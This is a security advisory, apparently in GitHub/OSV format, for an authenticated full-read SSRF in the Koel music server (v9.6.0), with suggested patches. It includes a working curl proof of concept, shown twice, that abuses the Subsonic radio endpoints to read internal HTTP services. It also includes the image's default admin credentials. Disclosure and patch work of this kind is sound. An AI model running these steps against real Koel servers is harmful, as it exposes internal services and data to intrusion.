- Confirm the regular web API blocks the URL:
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"
Expected result:
- HTTP
422 -
Error includes
The url must point to a public URL. -
Create the same station through the Subsonic route:
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode 'name=xmlpeek' \
--data-urlencode "streamUrl=$TARGET_URL"
Expected result:
- HTTP
200 -
JSON includes
"status":"ok" -
Resolve the station ID and stream it:
STATION_ID=$(
curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
| python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
Expected result:
- HTTP
200 - Response body contains the upstream content from the internal target URL
An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.
Practical impact includes:
- Reading loopback-only, RFC1918, or Docker-bridge HTTP services
- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
- Performing internal HTTP reconnaissance and retrieving content through Koel itself
Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.
Remediation
The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.
Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
'id' => ['required', 'string'],
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:
diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
namespace App\Services\Radio;
+use App\Helpers\Network;
use App\Models\RadioStation;
class RadioStreamProxy
{
+ public function __construct(private readonly Network $network) {}
+
@@
public function openStream(string $url)
{
+ if (!$this->network->isSafeUrl($url)) {
+ return false;
+ }
+
$context = stream_context_create([
'http' => [
'header' => "Icy-MetaData: 1\r\n",
'timeout' => 5,
],
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phanan/koel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54493"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T17:13:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nKoel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel\u0027s radio streaming feature to make the server fetch that URL and return the upstream response body.\n\nThis was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.\n\n### Details\n#### SafeUrl is applied on the web API, but not on the Subsonic endpoints\n\nKoel\u0027s regular radio API protects station URLs with `SafeUrl` and `HasAudioContentType`:\n\n- `app/Http/Requests/API/Radio/RadioStationStoreRequest.php`\n- `app/Http/Requests/API/Radio/RadioStationUpdateRequest.php`\n\n```php\nnew SafeUrl(),\nnew HasAudioContentType(),\n```\n\nThe Subsonic-compatible routes do not reuse those checks:\n\n- `routes/subsonic.php`\n - `createInternetRadioStation.view`\n - `updateInternetRadioStation.view`\n- `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`\n- `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`\n\n```php\nreturn [\n \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n];\n```\n\nThe result is a validation gap between two routes that create the same type of object.\n\n#### The unvalidated URL is stored and later fetched server-side\n\nThe Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:\n\n- `app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php`\n- `app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php`\n- `app/Services/RadioService.php`\n\nThe SSRF is triggered when the station is played:\n\n- `app/Http/Controllers/StreamRadioController.php`\n- `app/Services/Radio/RadioStreamService.php`\n- `app/Services/Radio/RadioStreamProxy.php`\n\n`RadioStreamProxy::openStream()` opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:\n\n```php\n$stream = fopen($url, \u0027r\u0027, false, $context);\n```\n\n#### The response body is returned to the attacker\n\nIf the upstream response is treated as a normal stream, Koel forwards it back to the client:\n\n```php\nwhile (!feof($stream) \u0026\u0026 !connection_aborted()) {\n echo fread($stream, 8192);\n flush();\n}\n```\n\nThat makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through `/radio/stream/{id}`.\n\nThis behavior also differs from the documented expectation in `docs/usage/radio.md`, which says Koel checks the URL when adding or editing a radio station.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n curl -sS -X POST http://127.0.0.1:18081/api/me \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}\u0027 \\\n | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"token\"])\u0027\n)\n```\n\n2. Obtain the user\u0027s Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n curl -sS http://127.0.0.1:18081/api/data \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])\u0027\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/radio/stations \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n -H \u0027Accept: application/json\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"name\\\":\\\"blocked\\\",\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Create the same station through the Subsonic route:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \\\n --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n --data-urlencode \u0027f=json\u0027 \\\n --data-urlencode \u0027name=xmlpeek\u0027 \\\n --data-urlencode \"streamUrl=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Resolve the station ID and stream it:\n\n```bash\nSTATION_ID=$(\n curl -sS \"http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY\u0026f=json\" \\\n | python3 -c \u0027import json,sys; items=json.load(sys.stdin)[\"subsonic-response\"][\"internetRadioStations\"][\"internetRadioStation\"]; print(next(x[\"id\"] for x in items if x[\"name\"]==\"xmlpeek\"))\u0027\n)\n\ncurl -i \"http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN\"\n```\n\nExpected result:\n\n- HTTP `200`\n- Response body contains the upstream content from the internal target URL\n\nAn authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.\n\nPractical impact includes:\n\n- Reading loopback-only, RFC1918, or Docker-bridge HTTP services\n- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed\n- Performing internal HTTP reconnaissance and retrieving content through Koel itself\n\nSince the response body is returned to the attacker, the impact is materially higher than a blind SSRF.\n\n### Remediation\n\nThe Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n public function rules(): array\n {\n return [\n- \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n+ \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl(), new HasAudioContentType()],\n \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n ];\n }\n }\n```\n\nSuggested patch for `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n public function rules(): array\n {\n return [\n \u0027id\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n- \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n+ \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl(), new HasAudioContentType()],\n \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n ];\n }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Radio/RadioStreamProxy.php`:\n\n```diff\ndiff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php\n--- a/app/Services/Radio/RadioStreamProxy.php\n+++ b/app/Services/Radio/RadioStreamProxy.php\n@@\n namespace App\\Services\\Radio;\n \n+use App\\Helpers\\Network;\n use App\\Models\\RadioStation;\n \n class RadioStreamProxy\n {\n+ public function __construct(private readonly Network $network) {}\n+\n@@\n public function openStream(string $url)\n {\n+ if (!$this-\u003enetwork-\u003eisSafeUrl($url)) {\n+ return false;\n+ }\n+\n $context = stream_context_create([\n \u0027http\u0027 =\u003e [\n \u0027header\u0027 =\u003e \"Icy-MetaData: 1\\r\\n\",\n \u0027timeout\u0027 =\u003e 5,\n ],\n```",
"id": "GHSA-6p96-cfg5-4vhp",
"modified": "2026-07-15T17:13:23Z",
"published": "2026-07-15T17:13:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koel/koel/security/advisories/GHSA-6p96-cfg5-4vhp"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/pull/2545"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
},
{
"type": "PACKAGE",
"url": "https://github.com/koel/koel"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/releases/tag/v9.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.